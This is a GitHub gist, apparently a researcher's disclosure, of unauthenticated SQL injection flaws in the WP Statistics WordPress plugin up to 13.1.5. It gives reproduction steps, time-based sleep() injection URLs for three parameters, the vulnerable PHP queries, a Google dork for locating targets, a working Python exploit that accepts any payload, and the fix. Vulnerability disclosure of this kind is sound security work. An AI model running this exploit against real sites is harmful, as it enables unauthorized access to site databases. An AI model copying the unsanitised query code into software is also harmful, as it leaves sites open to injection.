Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save Xib3rR4dAr/5dbd58b7f57a5037fe461fba8e696042 to your computer and use it in GitHub Desktop.
Save Xib3rR4dAr/5dbd58b7f57a5037fe461fba8e696042 to your computer and use it in GitHub Desktop.
WordPress Plugin WP Statistics <= 13.1.5 - Multiple Unauthenticated SQL Injection vulnerabilities

WordPress Plugin WP Statistics <= 13.1.5 - Multiple Unauthenticated SQL Injection vulnerabilities

Exploit TitleWordPress Plugin WP Statistics <= 13.1.5 - Multiple Unauthenticated SQL Injection vulnerabilities
Exploit AuthorMuhammad Zeeshan (Xib3rR4dAr)
DateFebruary 13, 2022
Plugin LinkWP-Statistics
Plugin Active Installations600,000+
Version13.1.5 (Latest)
Tested onWordpress 5.9
Vulnerable Endpoint/wp-json/wp-statistics/v2/hit
Vulnerable File/wp-content/plugins/wp-statistics/includes/class-wp-statistics-pages.php:225
Vulnerable Parameterscurrent_page_type, current_page_id, ip
Google Dorkinurl:/wp-content/plugins/wp-statistics
CVECVE-2022-0651, CVE-2022-25148, CVE-2022-25149

Description

Endpoint is vulnerable to Unauthenticated SQL Injections when "Cache Compatibility" is enabled in Wp-Statistics settings.

Vulnerable Endpoint: /wp-json/wp-statistics/v2/hit

Vulnerable Parameters:

  • current_page_id
  • current_page_type
  • ip

current_page_id is Integer based SQL Injection while current_page_type and ip are String based SQL Injections.

Reproduction Steps

  • On wordpress installation, install latest version of WP-Statistics which is version 13.1.5 as of writing (February 13, 2022) from Wordpress Plugins Repo.
  • After wordpress login, goto WP Statistics > Settings ie /wp-admin/admin.php?page=wps_settings_page and enable "Cache Compatibility"
  • Unauthenticatedly, visit any page of target site and from response page get nonce value for wp-statistics and replace _wpnonce in following request:
/wp-json/wp-statistics/v2/hit?_=11&_wpnonce=935551c012&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home&current_page_id=sleep(3)&search_query&page_uri=/&user_id=0
  • Make the request and SQL injection will trigger making site respond after 3 seconds.

PoCs for other parameters:

/wp-json/wp-statistics/v2/hit?_=11&_wpnonce=935551c012&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home&current_page_id=sleep(1)&search_query&page_uri=/&user_id=0
/wp-json/wp-statistics/v2/hit?_=11&_wpnonce=935551c012&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home'-sleep(1)-'&current_page_id=0&search_query&page_uri=/&user_id=0
/wp-json/wp-statistics/v2/hit?_=11&_wpnonce=935551c012&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip='-sleep(1)-'&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home&current_page_id=0&search_query&page_uri=/&user_id=0

Vulnerable Code

wp-statistics/includes/class-wp-statistics-pages.php

225:        $exist = $wpdb->get_row("SELECT `page_id` FROM `" . DB::table('pages') . "` WHERE `date` = '" . TimeZone::getCurrentDate('Y-m-d') . "' " . (array_key_exists("search_query", $current_page) === true ? "AND `uri` = '" . esc_sql($page_uri) . "'" : "") . "AND `type` = '{$current_page['type']}' AND `id` = {$current_page['id']}", ARRAY_A);

wp-statistics/includes/class-wp-statistics-visitor.php

79:        $visitor = $wpdb->get_row("SELECT * FROM `" . DB::table('visitor') . "` WHERE `last_counter` = '" . ($date === false ? TimeZone::getCurrentDate('Y-m-d') : $date) . "' AND `ip` = '{$ip}'");

Proof of Concept

import requests, re, json, urllib.parse

wpurl           =   input('\nWordPress URL: ')
payload         =   input('\nPayload: ')

wp_session      =   requests.session()

wp              =   wp_session.get(wpurl)
wp_nonce        =   re.search(r'_wpnonce=(.*?)&wp_statistics_hit', wp.text).group(1)

headers         =   {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15"}

payload         =   urllib.parse.quote_plus(payload)
exploit         =   f'/wp-json/wp-statistics/v2/hit?_=11&_wpnonce={wp_nonce}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home&current_page_id={payload}&search_query&page_uri=/&user_id=0'
exploit_url     =   wpurl+exploit

print(f'\nSending: {exploit_url}')

wp              =   wp_session.get(exploit_url, headers=headers)
data            =   wp.json()

print("\nResponse: \n" + json.dumps(data, sort_keys=True, indent=4))

print(f'\nTime taken: {wp.elapsed.total_seconds()}')

image

Fix:

  • Update wp-statistics plugin to version 13.1.6, or newer.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment